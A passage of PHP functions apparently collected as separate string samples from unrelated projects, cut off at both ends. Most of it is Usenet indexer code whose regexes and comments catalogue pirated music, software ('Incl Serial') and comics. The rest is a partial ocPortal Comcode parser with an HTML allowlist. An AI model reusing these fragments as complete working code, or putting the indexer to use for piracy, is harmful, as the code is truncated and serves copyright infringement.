(preg_match('/^\\(\\d+\\/\\d+\\)[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[16_Bit_Lolitas-Warung_Brazil_002-2CD-2012-iHF] [www.usenet4ever.info by Secretusenet] - \"000-16_bit_lolitas-warung_brazil_002-2cd-2012-ihf.sfv\" yEnc\n\t\t//[3RD_Prototype_-_On_My_Way-(TB7368)-WEB-2013-FMC] [www.usenet4ever.info by Secretusenet] - \"01-3rd_prototype_-_deafback-when_you_are_in_the_dark_(deafback_remix).mp3\" yEnc\n\t\t//[Armin_Van_Buuren_Feat._Fiora-Waiting_For_The_Night-(ARMD1140)-WEB-2013-UKHx] [www.usenet4ever.info by Secretusenet] - \"00-armin_van_buuren_feat._fiora-waiting_for_the_night-(armd1140)-web-2013-ukhx.m3u\" yEnc\n\t\tif (preg_match('/^\\[([a-zA-Z0-9-_\\(\\)\\.]+)\\] \\[www\\.usenet4ever\\.info by Secretusenet\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>ghost-of-usenet.org<< 16_Bit_Lolitas-Warung_Brazil_002-2CD-2012-iHF >>www.SSL-News.info> - \"101-16_bit_lolitas-warung_brazil_002_cd1.mp3\" yEnc\n\t\tif (preg_match('/^>ghost-of-usenet\\.org<< ([a-zA-Z0-9-_\\(\\)\\.]+) >>www\\.SSL-News\\.info> - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Blok_B-Bienvenue_Dans_Mon_Blok_Vol.1-2005-BZ_INT [20 of 27] \"01-gangsta.mp3\" yEnc\n\t\t//DJ Neev - HedKandi_2013-06-08 (Ministry of Sound Radio) [01/13] - \"DJ Neev - HedKandi_2013-06-08 (Ministry of Sound Radio).par2\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9 -_\\(\\)\\.]+) \\[\\d+(\\/| of )(\\d+\\])[-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(www.Thunder-News.org) >Dee_And_Crane-Let_The_Music_Play-WEB-2012-UKHx< <Sponsored by Secretusenet> - \"05-dee_and_crane-let_the_music_play_(jay_frogs_keep_the_groove_remix_edit).mp3\" yEnc\n\t\tif (preg_match('/^\\(www\\.Thunder-News\\.org\\) >(.+?)< <Sponsored by Secretusenet> - \".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[1/1] - (MP3 ALBUM CHARTS) - \"Andreas Gabalier - Volksrock'n'roller-Live.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \\((MP3 )?ALBUM CHARTS\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //\"Miley Cyrus - Bangerz (Deluxe Version).nzb\" - yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . ' - yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //VA 200 NRJ 2014 CD2 mp3_320kbps[18/27]VA 200 NRJ 2014 CD2 mp3_320kbps\"(217) [Capital Cities] Safe And Sound.mp3\" yEnc\n\t\tif (preg_match('/^.+\\[\\d+\\/\\d+\\](.+)\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function comp()\n\t{\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) .+? post (.+?) \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Photo Mechanic 5.0 build 13915 (1/6) \"Photo Mechanic 5.0 build 13915 (1).par2\" - 32,97 MB - yEnc\n\t\tif (preg_match('/^(.{5,}?) \\(\\d+\\/\\d+\\) \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Advanced SystemCare Pro 6.3.0.269 Final ML Incl Serial) [01/10] - \"Advanced SystemCare Pro 6.3.0.269 Final ML Incl Serial.nfo\" yEnc\n\t\tif (preg_match('/^\\(([a-zA-Z0-9. ]{10,}?)\\) \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[01/21 Geroellheimer - S01E03 - Swimming Pool Geroellheimer - S01E03 - Swimming Pool.mp4.001\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+ (.+?)(\\.(part\\d*|rar|avi|iso|mp4|mkv|mpg))?(\\d{1,3}\\.rev\"|\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\"|\") yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn implode(' ',\n\t\t\t\t\t\t array_intersect_key(explode(' ', $match[1]),\n\t\t\t\t\t\t\t\t\t\t\t array_unique(array_map('strtolower',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t explode(' ', $match[1])))));\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function comics_dcp()\n\t{\n\t\tif (preg_match('/\\d{4}\\.(\\d{2}\\.){2} - \"(.+?)\\.cb[rz]\" yEnc$/i', $this->subject, $match)) {\n\t\t\treturn array('cleansubject' => $match[2], 'properlynamed' => false);\n\t\t}\n\t\t//Re: Req: Dark Tower - The Battle of Jericho Hill 05 (of 05) TIA - File 1 of 1 - yEnc\n\t\tif (preg_match('/(Req?: )+(.+?) - File \\d+ of \\d+ - yEnc$/i', $this->subject, $match)) {\n\t\t\treturn array('cleansubject' => $match[2], 'properlynamed' => false);\n\t\t}\n\t\t//Amazing Spider-man 306 || FB-DCP scan || 1988 || - \"Amazing Spider-man 306 (1988)(FB-DCP)(C2C).CBR\" [3/7] yEnc\n\t\tif (preg_match('/\\|\\| \\d{4} \\|\\| - \"(.+?)\\.cb[rz]\" \\[\\d+\\/\\d+\\] yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn array('cleansubject' => $match[1], 'properlynamed' => false);\n\t\t}\n\t\t//All-Star Squadron Preview 00 (1981) [HQ rescan] [1/5] - All-Star Squadron Preview 00 (Aug 1981) [HQ rescan] [RexTyler].cbr yEnc\n\t\t//Mad Color Classics (1st time as true CBR) - [1/1] Mad Color Classics 04 {FIXED} (c2c) [True CBR by RexTyler].cbr yEnc\n\t\t//Comico Christmas Special (1988) - [1/5] Comico Christmas Special (1988) [starv].cbr.par2 yEnc\n\t\tif (preg_match('/\\s+\\[\\d+\\/\\d+\\]\\s+(-\\s+)?([A-Z0-9].+?)(\\[.*?(starv|RexTyler).*?\\])?\\.cb[rz](\\.par2)?\\s+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn array('cleansubject' => $match[2], 'properlynamed' => false);\n\t\t}\n\t\t//0-Day 2013.8.28 - \"Ultimate Comics Spider-Man 026 (2013) complete/unbroken - File 1 of 1 - Ultimate Comics Spider-Man 026 (2013) (Digital) (Zone-Empire).cbr yEnc\n\t\t//Ultimate Comics Spider-Man 026 - File 1 of 1 - Ultimate Comics Spider-Man 026 (2013) (Digital) (Zone-Empire).rar yEnc\n\t\tif (preg_match('/\\s+-\\s+File \\d+ of \\d+\\s+-\\s+([A-Z0-9].+?)\\.(cb[rz]|rar)\\s+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn array('cleansubject' => $match[1], 'properlynamed' => false);\n\t\t}\n\t\t//Grimm Fairy Tales Myths & Legends 12 - File 1 of 1 - yEnc\n\t\tif (preg_match('/^([a-z0-9].+?)\\s+-\\s+File \\d+ of \\d+\\s+-\\s+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn array('cleansubject' => $match[1], 'properlynamed' => false);\n\t\t}\n\t\t// Return anything between the quotes.\n\t\tif (preg_match('/.*\"(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\tif (strlen($match[1]) > 7 && !preg_match('/\\.vol.+/', $match[1])) {\n\t\t\t\treturn array('cleansubject' => $match[1], 'properlynamed' => false);\n\t\t\t} else {\n\t\t\t\treturn array(\n\t\t\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject),\n\t\t\t\t\t\"properlynamed\" => false\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function cd_lossless()\n\t{\n\t\t////Flac Flood Modern Talking - America - \"1 - Modern Talking - Win The Race.flac\" (01/18) (29,12 MB) 549,35 MB yEnc\n\t\tif (preg_match('/^Flac Flood( -)? (.+?) - \".+?\" \\(\\d+\\/\\d+\\) .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Cannonball Adderley - Nippon Soul [01/17] \"00 - Cannonball Adderley - Nippon Soul.nfo\" yEnc\n\t\t//Black Tie White Noise [01/24] - \"00 - David Bowie - Black Tie White Noise.nfo\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+?) \\[\\d+\\/\\d+\\]( -)? \"\\d{2,} - .+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//The Allman Brothers Band - Statesboro Blues [Swingin' Pig - Bootleg] [1970 April 4] - File 09 of 19: Statesboro Blues.cue yEnc\n\t\t//[1977] Joan Armatrading - Show Some Emotion - File 15 of 20: 06 Joan Armatrading - Opportunity.flac yEnc\n\t\tif (preg_match('/^((\\[\\d{4}\\] )?[a-zA-Z0-9].+?) - File \\d+ of \\d+: .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //The Allman Brothers Band - The Fillmore Concerts [1971] - 06 The Allman Brothers Band - Done Somebody Wrong.flac yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - [A-Z0-9].+? \\[\\d{4}\\]) - \\d{2,} .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //The Velvet Underground - Peel Slow And See (Box Set) Disc 5 of 5 - 13 The Velvet Underground - Oh Gin.flac yEnc\n\t\tif (preg_match('/^([A-Z0-9].+? - [A-Z0-9].+? Disc \\d+ of \\d+) - [A-Z0-9].+?\\..+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(28/55) \"Ivan Neville - If My Ancestors Could See Me Now.par2\" - 624,44 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function comcode_text_to_tempcode($comcode,$source_member,$as_admin,$wrap_pos,$pass_id,$connection,$semiparse_mode,$preparse_mode,$is_all_semihtml,$structure_sweep,$check_only,$highlight_bits=NULL,$on_behalf_of_member=NULL)\n{\n\tglobal $ADVERTISING_BANNERS,$ALLOWED_ENTITIES,$POTENTIALLY_EMPTY_TAGS,$CODE_TAGS,$REVERSABLE_TAGS,$PUREHTML_TAGS,$DANGEROUS_TAGS,$VALID_COMCODE_TAGS,$BLOCK_TAGS,$POTENTIAL_JS_NAUGHTY_ARRAY,$TEXTUAL_TAGS,$LEET_FILTER,$IMPORTED_CUSTOM_COMCODE,$REPLACE_TARGETS;\n\n\t$wml=false; // removed feature from ocPortal now\n\t$print_mode=get_param_integer('wide_print',0)==1;\n\n\t$len=strlen($comcode);\n\n\tif ((function_exists('set_time_limit')) && (ini_get('max_execution_time')!='0')) @set_time_limit(300);\n\n\t$allowed_html_seqs=array('<table>','<table class=\"[^\"]*\">','<table class=\"[^\"]*\" summary=\"[^\"]*\">','<table summary=\"[^\"]*\">','</table>','<tr>','</tr>','<td>','</td>','<th>','</th>','<pre>','</pre>','<br />','<br/>','<br >','<br>','<p>','</p>','<p />','<b>','</b>','<u>','</u>','<i>','</i>','<em>','</em>','<strong>','</strong>','<li>','</li>','<ul>','</ul>','<ol>','</ol>','<del>','</del>','<dir>','</dir>','<s>','</s>','</a>','</font>','<!--','<h1 id=\"main_page_title\">','<h1 class=\"main_page_title\">','<h1 id=\"main_page_title\" class=\"main_page_title\">','</h1>','<img (class=\"inline_image\" )?alt=\"[^\"]*\" src=\"[^\"]*\" (complete=\"true\" )*/>','<img src=[\"\\'][^\"\\'<>]*[\"\\']( border=[\"\\'][^\"\\'<>]*[\"\\'])?( alt=[\"\\'][^\"\\'<>]*[\"\\'])?( )?(/)?'.'>','<a href=[\"\\'][^\"\\'<>]*[\"\\']( target=[\"\\'][^\"\\'<>]*[\"\\'])?'.'>'); // HTML tag may actually be used in very limited conditions: only the following HTML seqs will come out as HTML. This is, unless the blacklist filter is used instead.\n\tif ($as_admin)\n\t{\n\t\t$comcode_dangerous=true;\n\t\t$comcode_dangerous_html=true;\n\t} else\n\t{\n\t\t$comcode_dangerous=($GLOBALS['MICRO_BOOTUP']==0) && (has_specific_permission($source_member,'comcode_dangerous'));\n\t\t$comcode_dangerous_html=false;\n\t\tif ((has_specific_permission($source_member,'allow_html')) && (($is_all_semihtml) || (strpos($comcode,'[html')!==false) || (strpos($comcode,'[semihtml')!==false)))\n\t\t{\n\t\t\t$comcode_dangerous_html=true;\n\t\t\t/*foreach (array_keys($POTENTIALLY_EMPTY_TAGS) as $tag) // Find whether we really need to enable the computational-expensive filtering. Code disabled, not sure why this would have ever worked!\n\t\t\t{\n\t\t\t\tif (($tag!='html') && ($tag!='semihtml') && (strpos($comcode,'['.$tag)!==false))\n\t\t\t\t{\n\t\t\t\t\t$comcode_dangerous_html=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}*/\n\t\t}\n\t}\n\tif (is_null($pass_id)) $pass_id=strval(mt_rand(0,32000)); // This is a unique ID that refers to this specific piece of comcode\n\tglobal $COMCODE_ATTACHMENTS;\n\tif (!array_key_exists($pass_id,$COMCODE_ATTACHMENTS)) $COMCODE_ATTACHMENTS[$pass_id]=array();\n\n\t// Tag level\n\t$current_tag='';\n\t$attribute_map=array();\n\t$tag_output=new ocp_tempcode();\n\t$continuation='';\n\t$close=mixed();\n\n\t// Properties that come from our tag\n\t$white_space_area=true;\n\t$textual_area=true;\n\t$formatting_allowed=true;\n\t$in_html=false;\n\t$in_semihtml=$is_all_semihtml;\n\t$in_separate_parse_section=false; // Not escaped because it has to be passed to a secondary filter\n\t$in_code_tag=false;\n\t$code_nest_stack=0;\n\n\t// Our state\n\t$status=CCP_NO_MANS_LAND;\n\t$lax=$GLOBALS['LAX_COMCODE'] || function_exists('get_member') && $source_member!=get_member() || count($_POST)==0; // if we don't want to produce errors for technically invalid Comcode\n\t$tag_stack=array();\n\t$pos=0;\n\t$line_starting=true;\n\t$just_ended=false;\n\t$none_wrap_length=0;\n\t$just_new_line=true; // So we can detect lists starting right away\n\t$just_title=false;\n\tglobal $NUM_LINES;\n\t$NUM_LINES=0;\n\t$queued_tempcode=new ocp_tempcode();\n\t$mindless_mode=false; // If we're doing a semi parse mode and going over a tag we don't actually process\n\t$tag_raw='';\n\n\tif ((!is_null($wrap_pos)) && (strtolower(get_charset())=='utf-8'))\n\t\t$wrap_pos*=2;\n\n\t$b_all=(get_option('admin_banners',true)==='1');\n\n\t$stupidity_mode=get_value('stupidity_mode'); // bork or leet\n\tif ($comcode_dangerous) $stupidity_mode=get_param('stupidity_mode','');\n\tif ($stupidity_mode=='leet')\n\t{\n\t\t$LEET_FILTER=array(\n\t\t'B'=>'8',\n\t\t'C'=>'(',\n\t\t'E'=>'3',\n\t\t'G'=>'9',\n\t\t'I'=>'1',\n\t\t'L'=>'1',\n\t\t'O'=>'0',\n\t\t'P'=>'9',\n\t\t'S'=>'5',\n\t\t'U'=>'0',\n\t\t'V'=>'\\/',\n\t\t'Z'=>'2'\n\t\t);\n\t}\n\n\t$smilies=$GLOBALS['FORUM_DRIVER']->find_emoticons(); // We'll be needing the smiley array\n\t$shortcuts=array('(EUR-)'=>'&euro;','{f.}'=>'&fnof;','-|-'=>'&dagger;','=|='=>'&Dagger;','{%o}'=>'&permil;','{~S}'=>'&Scaron;','{~Z}'=>'&#x17D;','(TM)'=>'&trade;','{~s}'=>'&scaron;','{~z}'=>'&#x17E;','{.Y.}'=>'&Yuml;','(c)'=>'&copy;','(r)'=>'&reg;','---'=>'&mdash;','--'=>'&ndash;','...'=>'&hellip;','-->'=>'&rarr;','<--'=>'&larr;');\n\n\t// Text syntax possibilities, that get maintained as our cursor moves through the text block\n\t$list_indent=0;\n\t$list_type='ul';\n\n\tif ($is_all_semihtml) filter_html($as_admin,$source_member,$pos,$len,$comcode,false,false); // Pre-filter the whole lot (note that this means during general output we do no additional filtering)\n\n\twhile ($pos<$len)\n\t{\n\t\t$next=$comcode[$pos];\n\t\t++$pos;\n\n\t\t// State machine\n\t\tswitch ($status)\n\t\t{\n\t\t\tcase CCP_NO_MANS_LAND:\n\t\t\t\tif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\t// Look ahead to make sure it's a valid tag. If it's not then it's considered normal user input, not a tag at all\n\t\t\t\t\t$dif=(($pos<$len) && ($comcode[$pos]=='/'))?1:0;\n\t\t\t\t\t$ahead=substr($comcode,$pos+$dif,MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH);\n\t\t\t\t\t$equal_pos=strpos($ahead,'=');\n\t\t\t\t\t$space_pos=strpos($ahead,' ');\n\t\t\t\t\t$end_pos=strpos($ahead,']');\n\t\t\t\t\t$lax_end_pos=strpos($ahead,'[');\n\t\t\t\t\t$cl_pos=strpos($ahead,chr(10));\n\t\t\t\t\tif ($equal_pos===false) $equal_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($space_pos===false) $space_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($end_pos===false) $end_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($lax_end_pos===false) $lax_end_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($cl_pos===false) $cl_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\t$use_pos=min($equal_pos,$space_pos,$end_pos,$lax_end_pos,$cl_pos);\n\n\t\t\t\t\t$potential_tag=strtolower(substr($ahead,0,$use_pos));\n\t\t\t\t\tif (($use_pos!=22) && ((!$in_semihtml) || ($dif==1) || (($potential_tag!='html') && ($potential_tag!='semihtml'))) && ((!$in_html) || (($dif==1) && ($potential_tag=='html'))) && ((!$in_code_tag) || ((isset($CODE_TAGS[$potential_tag])) && ($potential_tag==$current_tag))) && ((!$structure_sweep) || ($potential_tag!='contents')))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($in_code_tag)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($dif==1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$code_nest_stack--;\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$code_nest_stack++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$ok=($code_nest_stack==-1);\n\t\t\t\t\t\t} else $ok=true;\n\n\t\t\t\t\t\tif ($ok)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!isset($VALID_COMCODE_TAGS[$potential_tag]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!$IMPORTED_CUSTOM_COMCODE)\n\t\t\t\t\t\t\t\t\t_custom_comcode_import($connection);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((isset($VALID_COMCODE_TAGS[$potential_tag])) && (strtolower(substr($ahead,0,2))!='i ')) // The \"i\" bit is just there to block a common annoyance: [i] doesn't take parameters and we don't want \"[i think]\" (for example) being parsed.\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($comcode[$pos]!='/') || (count($tag_stack)==0))\n\t\t\t\t\t\t\t\t\t$mindless_mode=($semiparse_mode) && /*(!isset($CODE_TAGS[$potential_tag])) && */((!isset($REVERSABLE_TAGS[$potential_tag])) || ((is_string($REVERSABLE_TAGS[$potential_tag])) && (preg_match($REVERSABLE_TAGS[$potential_tag],substr($comcode,$pos,100))!=0))) && (!isset($PUREHTML_TAGS[$potential_tag]));\n\t\t\t\t\t\t\t\telse $mindless_mode=$tag_stack[count($tag_stack)-1][7];\n\n\t\t\t\t\t\t\t\t$close=false;\n\t\t\t\t\t\t\t\t$current_tag='';\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\tif ((/*(($potential_tag=='html') || ($potential_tag=='semihtml')) && */($just_new_line)) || (isset($BLOCK_TAGS[$potential_tag])))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$status=CCP_STARTING_TAG;\n\t\t\t\t\t\t\t\tif ($mindless_mode)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($comcode[$pos]!='/')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (array_key_exists($potential_tag,$BLOCK_TAGS))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_raw='&#8203;<kbd title=\"'.escape_html($potential_tag).'\" class=\"ocp_keep_block\">[';\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_raw='&#8203;<kbd title=\"'.escape_html($potential_tag).'\" class=\"ocp_keep\">[';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$tag_raw='[';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tag_raw='';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tif (($use_pos!=22) && ((($in_semihtml) || ($in_html)) && (($potential_tag=='html') || ($potential_tag=='semihtml'))) && (!$in_code_tag))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$ahc=strpos($ahead,']');\n\t\t\t\t\t\t\tif ($ahc!==false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$pos+=$ahc+1;\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ((($in_html) || ((($in_semihtml) && (!$in_code_tag)) && (($next=='<') || ($next=='>') || ($next=='\"')))))\n\t\t\t\t{\n\t\t\t\t\tif ($next==chr(10)) ++$NUM_LINES;\n\n\t\t\t\t\tif ((!$comcode_dangerous_html) && ($next=='<')) // Special filtering required\n\t\t\t\t\t{\n\t\t\t\t\t\t$close=strpos($comcode,'>',$pos-1);\n\t\t\t\t\t\t$portion=substr($comcode,$pos-1,$close-$pos+2);\n\t\t\t\t\t\t$seq_ok=false;\n\t\t\t\t\t\tforeach ($allowed_html_seqs as $allowed_html_seq)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (preg_match('#^'.$allowed_html_seq.'$#',$portion)!=0) $seq_ok=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!$seq_ok)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// $next='&lt;'; //OLD STYLE\n\t\t\t\t\t\t\tif ($close!==false) $pos=$close+1; // NEW STYLE\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (substr($comcode,$pos-1,4)=='<!--') // To stop shortcut interpretation\n\t\t\t\t\t{\n\t\t\t\t\t\t$continuation.='<!--';\n\t\t\t\t\t\t$pos+=3;\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$continuation.=($mindless_mode && $in_code_tag)?escape_html($next):$next;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse // Not in HTML\n\t\t\t\t{\n\t\t\t\t\t// Text-format possibilities\n\t\t\t\t\tif (($just_new_line) && ($formatting_allowed) && (!$wml))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($continuation!='')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// List\n\t\t\t\t\t\t$found_list=false;\n\t\t\t\t\t\t$old_list_indent=$list_indent;\n\t\t\t\t\t\tif (($pos+2<$len) && (is_numeric($next)) && (((is_numeric($comcode[$pos])) && ($comcode[$pos+1]==')') && ($comcode[$pos+2]==' ')) || (($comcode[$pos]==')') && ($comcode[$pos+1]==' '))) && ((($list_type=='1') && ($list_indent!=0)) || (preg_match('#^[^\\n]*\\n\\d+\\) #',substr($comcode,$pos+1))!=0)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($list_indent!=0) && ($list_type!='1'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$list_indent=1;\n\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t$list_type='1';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($pos+2<$len) && (ord($next)>=ord('a')) && (ord($next)<=ord('z')) && ($comcode[$pos]==')') && ($comcode[$pos+1]==' ') && ((($list_type=='a') && ($list_indent!=0)) || (preg_match('#^[^\\n]*\\n[a-z]+\\) #',substr($comcode,$pos+1))!=0)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($list_indent!=0) && 